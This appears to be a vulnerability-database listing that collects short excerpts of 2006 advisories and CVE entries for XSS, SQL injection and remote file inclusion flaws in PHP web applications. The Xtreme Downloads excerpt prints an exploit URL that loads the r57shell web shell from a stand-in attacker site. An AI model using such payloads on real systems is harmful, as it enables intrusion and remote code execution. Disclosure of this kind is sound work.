SolpotCrew Advisory #6 - phpCC - Beta 4.2 (base_dir) Remote File Inclusion

SolpotCrew Community phpCC - Beta 4.2 basedir Remote File Inclusion Download file : http://www.phpcc.at/downloadfile1.html Bug Found By :Solpot a.k.a k. Hasibuan 06-08-2006 contact: [email protected] Website : http://www.solpotcrew.org/adv/solpot-adv-05.txt Greetz: choi , h4ntu , Ibnusina ,...

CVE-2006-3613

Multiple cross-site scripting (XSS) vulnerabilities exist in Chamberland Technology ezWaiter 3.0 Online (and possibly Enterprise Software). The issues allow remote attackers to inject arbitrary web script or HTML via: (1) itemfor (the “Who is this item for?” field) and (2) special (the “Special I...

CVE-2006-3613: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in Chamberland Technology ezWaiter 3.0 Online and possibly Enterprise Software aka enterprise edition allow remote attackers to inject arbitrary web script or HTML via the 1 itemfor aka "Who is this item for?" and 2 special aka "Special...

MyMail 1.0 - 'login.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/18656/info MyMail is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code execute in the browser of an...

CVE-2006-3152: Undefined Security Weakness

Multiple SQL injection vulnerabilities in phpTRADER 4.9 SP5 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 sectio parameter in a login.php, b writenewad.php, c newad.php, d printad.php, e askseller.php, f browse.php, g showmemberads.php, h notead.php, i abuse.php, ...

CVE-2006-3103

CVE-2006-3103 describes a cross-site scripting (XSS) vulnerability in Bitweaver 1.3, allowing remote attackers to inject arbitrary web script or HTML via (1) the error parameter in users/login.php and (2) the feedback parameter in articles/index.php. The connected records confirm Bitweaver as the...

CVE-2006-3103: Undefined Security Weakness

Cross-site scripting XSS vulnerability in Bitweaver 1.3 allows remote attackers to inject arbitrary web script or HTML via the 1 error parameter in users/login.php and the 2 feedback parameter in articles/index.php...

CVE-2006-3042: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in ISPConfig 2.2.3 allow remote attackers to execute arbitrary PHP code via a URL in the 1 goinfoispclassesroot parameter in a server.inc.php, and the 2 goinfoserverclassesroot parameter in b app.inc.php, c login.php, and d trylogin.php. NOTE: th...

CVE-2006-2964: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Xtreme Scripts Download Manager aka Xtreme Downloads 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the root parameter in 1 download.php, 2 manager.php, 3 admin/scripts/category.php, 4 includes/addallow.php, 5...

aWebNews <= 1.0 (login.php) Remote DocumentRoot file disclosure

/ Federico Fazzi, [email protected] / aWebNews = 1.0 login.php Remote DocumentRoot file disclosure / 04/06/2006 5:48 login.php: line 64-68, Bug: -- start -- if $GET'page' == "" $pagetogo = "index.php"; else $pagetogo = $GET'page'; -- end -- Proof of concept: Open the browser and go at:...

Multiple file include exploits in Xtreme Downloads v.1.0

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

CVE-2005-2464: Undefined Security Weakness

login.php in PCXP/TOPPE CMS allows remote attackers to bypass authentication and gain privileges by modifying the cookie to match the target userid...

CVE-2006-2740

Multiple SQL injection vulnerabilities in Epicdesigns tinyBB 0.3 allow remote attackers to execute arbitrary SQL commands via the 1 q parameter in a forgot.php, and the 2 username and 3 password parameters in b login.php, and other unspecified vectors...

CVE-2006-2740: Undefined Security Weakness

Multiple SQL injection vulnerabilities in Epicdesigns tinyBB 0.3 allow remote attackers to execute arbitrary SQL commands via the 1 q parameter in a forgot.php, and the 2 username and 3 password parameters in b login.php, and other unspecified vectors...

tinyBB <= 0.3 Remote (Include / SQL Injection) Vulnerabilities

Exploit for unknown platform in category web applications ============================================================== tinyBB ICQ: 10072 MSN/Mail: email protected web: www.nukedx.com This exploits works on tinyBB = 0.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=33...

Sql injection

SQL injection vulnerability in login.php in YourFreeWorld.com Short Url & Url Tracker Script allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2006-2509

The CVE-2006-2509 entry concerns YourFreeWorld.com Short Url & Url Tracker Script. The vulnerable component is login.php, where the id parameter allows SQL injection, enabling remote attackers to execute arbitrary SQL commands. The available references describe the issue as a SQL injection affect...

CVE-2006-2509: Undefined Security Weakness

SQL injection vulnerability in login.php in YourFreeWorld.com Short Url & Url Tracker Script allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2006-2488: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in Spymac WebOS WOS 5.0 allow remote attackers to inject arbitrary web script or HTML via the 1 delfolder, 2 nick, or 3 action parameters to a notes/index.php, 4 curr parameter to b ipod/getipod.php, and in c login.php...

CVE-2006-2109

Cross-site scripting XSS vulnerability in the parsequerystr function in include/print.php in JSBoard 2.0.10 and 2.0.11, and possibly other versions before 2.0.12, allows remote attackers to inject arbitrary web script or HTML via parameters that are set as global variables within the program, as...